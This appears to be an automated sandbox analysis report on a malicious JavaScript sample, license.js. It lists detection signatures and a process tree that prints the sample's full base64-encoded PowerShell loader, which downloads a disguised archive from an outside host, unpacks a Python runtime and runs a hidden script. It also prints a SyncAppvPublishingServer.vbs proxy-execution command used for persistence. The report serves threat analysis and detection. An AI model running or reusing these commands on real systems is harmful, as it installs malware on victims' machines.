Analysis
- max time kernel
149s - max time network
129s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
20/04/2026, 12:33
General
- Target license.js
- Size 64KB
- Sample260420-prcjasew8w
- SHA256 c848ca9fcb7ea125bd71410885b7bc602b78b49712cd8b0508e6f6a2542f1940
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 18 IoCs
- System Binary Proxy Execution: Rundll32 1 TTPs 1 IoCs
Abuse Rundll32 to proxy execution of malicious code.
- Adds Run key to start application 2 TTPs 2 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\license.js1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" shell32.dll,ShellExec_RunDLL powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJAB2AD0AJABuAHUAbABsADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB6AD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUABVAEIATABJAEMAIAAnAEQAbwB3AG4AbABvAGEAZABzAFwAcAB5AHQAaABvAG4AMwAxADIAeAA2ADQALgB6AGkAcAAnADsAJABlAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAAJwBBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFQAZQBtAHAAbABhAHQAZQBzACcAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAegApAHsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACAALQBGAG8AcgBjAGUAfQA7ACQAdgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkATgBhAG0AZQAoACgAJgB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcAaQBuADYANAA7ACAAeAA2ADQAKQAgAEEAcABwAGwAZQBXAGUAYgBLAGkAdAAvADUAMwA3AC4AMwA2ACAAKABLAEgAVABNAEwALAAgAGwAaQBrAGUAIABHAGUAYwBrAG8AKQAgAEMAaAByAG8AbQBlAC8AMQAyADgALgAwAC4AMAAuADAAIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2ACcAKQA7ACQAdwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAUgBlAGYAZQByAGUAcgAnACwAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGEAeABwAG8AdwBlAHIAMAAxAC4AYwBvAG0ALwAnACkAOwAkAHcAfQApACwAJwBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBhAHgAcABvAHcAZQByADAAMQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwBzAHIAYwAvAGYAaQBsAGUAMwAwADIANQAuAG0AcAAzACcALAAkAHoAKQA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlACkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGUAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQB9ADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARgBpAGwAZQBTAHkAcwB0AGUAbQA7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBaAGkAcABGAGkAbABlAF0AOgA6AEUAeAB0AHIAYQBjAHQAVABvAEQAaQByAGUAYwB0AG8AcgB5ACgAJAB6ACwAJABlACkAOwAkAHAAPQBKAG8AaQBuAC0AUABhAHQAaAAgACQAZQAgACcAcAB5AHQAaABvAG4AMwAxADIAeAA2ADQAXABwAHkAdABoAG8AbgB3AC4AZQB4AGUAJwA7ACQAcwA9AEoAbwBpAG4ALQBQAGEAdABoACAAJABlACAAJwBwAHkAdABoAG8AbgAzADEAMgB4ADYANABcAFAAcgBvAHQAZQBjAHQAZQBkAC4AcAB5ACcAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABzACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABzACkAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHoAIAAtAEYAbwByAGMAZQA=2⤵
- System Binary Proxy Execution: Rundll32
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJAB2AD0AJABuAHUAbABsADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB6AD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUABVAEIATABJAEMAIAAnAEQAbwB3AG4AbABvAGEAZABzAFwAcAB5AHQAaABvAG4AMwAxADIAeAA2ADQALgB6AGkAcAAnADsAJABlAD0ASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAAJwBBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFQAZQBtAHAAbABhAHQAZQBzACcAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAegApAHsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJAB6ACAALQBGAG8AcgBjAGUAfQA7ACQAdgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkATgBhAG0AZQAoACgAJgB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcAaQBuADYANAA7ACAAeAA2ADQAKQAgAEEAcABwAGwAZQBXAGUAYgBLAGkAdAAvADUAMwA3AC4AMwA2ACAAKABLAEgAVABNAEwALAAgAGwAaQBrAGUAIABHAGUAYwBrAG8AKQAgAEMAaAByAG8AbQBlAC8AMQAyADgALgAwAC4AMAAuADAAIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2ACcAKQA7ACQAdwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAUgBlAGYAZQByAGUAcgAnACwAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGEAeABwAG8AdwBlAHIAMAAxAC4AYwBvAG0ALwAnACkAOwAkAHcAfQApACwAJwBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBhAHgAcABvAHcAZQByADAAMQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwBzAHIAYwAvAGYAaQBsAGUAMwAwADIANQAuAG0AcAAzACcALAAkAHoAKQA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlACkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAGUAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQB9ADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlADsAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARgBpAGwAZQBTAHkAcwB0AGUAbQA7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBaAGkAcABGAGkAbABlAF0AOgA6AEUAeAB0AHIAYQBjAHQAVABvAEQAaQByAGUAYwB0AG8AcgB5ACgAJAB6ACwAJABlACkAOwAkAHAAPQBKAG8AaQBuAC0AUABhAHQAaAAgACQAZQAgACcAcAB5AHQAaABvAG4AMwAxADIAeAA2ADQAXABwAHkAdABoAG8AbgB3AC4AZQB4AGUAJwA7ACQAcwA9AEoAbwBpAG4ALQBQAGEAdABoACAAJABlACAAJwBwAHkAdABoAG8AbgAzADEAMgB4ADYANABcAFAAcgBvAHQAZQBjAHQAZQBkAC4AcAB5ACcAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHAAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABzACAALQBXAG8AcgBrAGkAbgBnAEQAaQByAGUAYwB0AG8AcgB5ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABzACkAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHoAIAAtAEYAbwByAGMAZQA=3⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Templates\python312x64\pythonw.exe"C:\Users\Admin\AppData\Roaming\Templates\python312x64\pythonw.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x64\Protected.py4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Windows Mail\wab.exe"C:\Program Files\Windows Mail\wab.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Windows\system32\SyncAppvPublishingServer.vbs" n;$e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates\python312x64';$p=Join-Path $e 'pythonw.exe';$s=Join-Path $e 'Protected.py';if((Test-Path $p)-and(Test-Path $s)){Start-Process $p $s -WorkingDirectory $e}1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n;$e=Join-Path $env:USERPROFILE 'AppData\Roaming\Templates\python312x64';$p=Join-Path $e 'pythonw.exe';$s=Join-Path $e 'Protected.py';if((Test-Path $p)-and(Test-Path $s)){Start-Process $p $s -WorkingDirectory $e}}2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Templates\python312x64\pythonw.exe"C:\Users\Admin\AppData\Roaming\Templates\python312x64\pythonw.exe" C:\Users\Admin\AppData\Roaming\Templates\python312x64\Protected.py3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Windows Mail\wab.exe"C:\Program Files\Windows Mail\wab.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_zkj2ybba.rr4.ps1
Protected.py
_builtin_.py
_ctypes.pyd
libffi-8.dll
__init__.py
__init__.py
oleaut32.py
ws2_32.py
pefile.py
python312.dll
python312.zip
pythonw.exe
__init__.py
dbgprint.py
__init__.py
flag.py
interfaces.py
ntstatus.py
windef.py
winerror.py
winfuncs.py
winstructs.py
__init__.py
pycompat.py
__init__.py
improved_buffer.py
pythonutils.py
winutils.py
process.py
system.py
__init__.py
apiproxy.py
__init__.py
advapi32.py
cfgmgr32.py
crypt32.py
cryptui.py
dbghelp.py
dnsapi.py
iphlpapi.py
kernel32.py
ktmw32.py
netapi32.py
ntdll.py
ole32.py
oleacc.py
oleaut32.py
psapi.py
setupapi.py
shell32.py
shlwapi.py
tdh.py
user32.py
version.py
virtdisk.py
wevtapi.py
winhttp.py
wininet.py
wintrust.py
ws2_32.py
error.py
memory/224-2118-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2115-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2117-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2121-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2120-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2122-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2124-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/224-2125-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/1052-13-0x000001B7FE5F0000-0x000001B7FE602000-memory.dmp
memory/1052-12-0x000001B7FE450000-0x000001B7FE45A000-memory.dmp
memory/1052-9-0x000001B7FDF20000-0x000001B7FDF32000-memory.dmp
memory/1052-8-0x000001B7FE070000-0x000001B7FE092000-memory.dmp
memory/1812-2154-0x00007FF6E4910000-0x00007FF6E495A000-memory.dmp
memory/2248-2149-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2248-2148-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2248-2151-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2248-2152-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2248-2153-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2248-2155-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2248-2156-0x0000000180000000-0x00000001800C6000-memory.dmp
memory/2792-2139-0x000002235B940000-0x000002235B9F3000-memory.dmp
memory/2792-2140-0x00007FF9F7980000-0x00007FF9F7A33000-memory.dmp
memory/2792-2141-0x000002235BA00000-0x000002235BA2E000-memory.dmp
memory/2792-2143-0x00000223431D0000-0x00000223431E2000-memory.dmp
memory/2792-2138-0x00000223437C0000-0x00000223437DC000-memory.dmp
memory/3992-2123-0x00007FF742EE0000-0x00007FF742F2A000-memory.dmp